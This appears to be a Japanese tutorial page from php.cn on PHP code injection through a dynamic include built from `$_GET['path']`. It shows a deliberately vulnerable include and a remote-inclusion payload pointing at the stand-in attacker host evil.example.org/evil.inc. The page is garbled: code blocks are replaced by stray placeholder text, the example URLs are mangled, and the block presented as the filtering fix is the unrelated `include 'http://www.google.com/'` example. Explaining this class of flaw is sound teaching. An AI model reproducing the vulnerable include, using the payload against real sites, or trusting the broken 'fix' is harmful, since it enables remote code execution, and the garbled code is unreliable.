ホームページ  >  記事  >  バックエンド開発  >  PHP セキュリティ コード インジェクション

PHP セキュリティ コード インジェクション

黄舟
黄舟オリジナル
2017-02-21 09:16:102529ブラウズ



コードインジェクション

特に危険な状況は、汚染されたデータを動的インクルードの先頭部分として使用しようとする場合です:

 <?php
 
  include "{$_GET[&#39;path&#39;]}/header.inc";
 
  ?>


このシナリオでは、攻撃者はファイル名だけでなく、そこに含まれるリソースも操作できる可能性があります。 PHP はデフォルトでファイルをインクルードできるだけでなく、次のリソースもインクルードできます (構成ファイルのallow_url_fopen によって制御されます):

りー


このとき、include ステートメントには http://www.php.cn/ の Web ページのソース コードがローカル ファイルとしてインクルードされます。上記の例は無害ですが、GOOGLE から返されたソース コードに PHP コードが含まれていた場合に何が起こるかを想像してください。このようにして、その中に含まれる PHP コードが解析されて実行されます。これは、攻撃者がセキュリティ システムを破るために悪意のあるコードをリリースする機会となります。

path の値が、攻撃者によって制御されている次のリソースを指していると想像してください:

http://www.php.cn/ ... e.org%2Fevil.inc%3F

上記の例では、パスの値は URL エンコードされており、元の値は次のとおりです:

http://www.php.cn/

これにより、攻撃者が選択したスクリプト (evil.inc) が include ステートメントにインクルードされて実行され、元のファイル名/header.inc がリクエスト文字列とみなされます:

りー


これにより、攻撃者が残りのディレクトリとファイル名 (/header.onc) を推測して、evil.example.org 上に同じパスとファイル名を作成する必要がなくなります。逆に、攻撃された Web サイトの特定のファイル名がブロックされている場合は、evil.inc が実行したい合法的なコードを出力することを確認するだけで済みます。

この状況は、攻撃者が Web サイト上の PHP コードを直接変更できるのと同じくらい危険です。幸いなことに、これは include ステートメントと require ステートメントの前にデータをフィルタリングすることで防ぐことができます:

 <?php
 
  include &#39;http://www.google.com/&#39;;
 
  ?>

上記は PHP セキュリティ コード インジェクションの内容です。その他の関連コンテンツについては、PHP 中国語 Web サイト (www.php.cn) にご注意ください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。